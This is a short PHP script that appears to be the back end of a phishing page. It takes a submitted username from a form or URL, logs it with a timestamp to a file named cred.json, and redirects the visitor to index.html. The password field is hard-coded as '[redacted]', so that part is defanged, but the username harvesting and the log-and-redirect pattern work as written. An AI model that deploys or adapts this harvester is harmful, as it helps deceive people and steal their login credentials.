<?php
$credentialsFile = __DIR__ . '/cred.json';

$entries = [];
if (file_exists($credentialsFile)) {
    $existing = file_get_contents($credentialsFile);
    $decoded = json_decode($existing, true);
    if (is_array($decoded)) {
        $entries = $decoded;
    }
}

$username = trim($_POST['username'] ?? $_GET['username'] ?? '');

if ($username !== '') {
    $entries[] = [
        'timestamp' => date('c'),
        'username' => $username,
        'password' => '[redacted]'
    ];

    file_put_contents(
        $credentialsFile,
        json_encode($entries, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . PHP_EOL
    );
}

header('Location: index.html');
exit;
?>
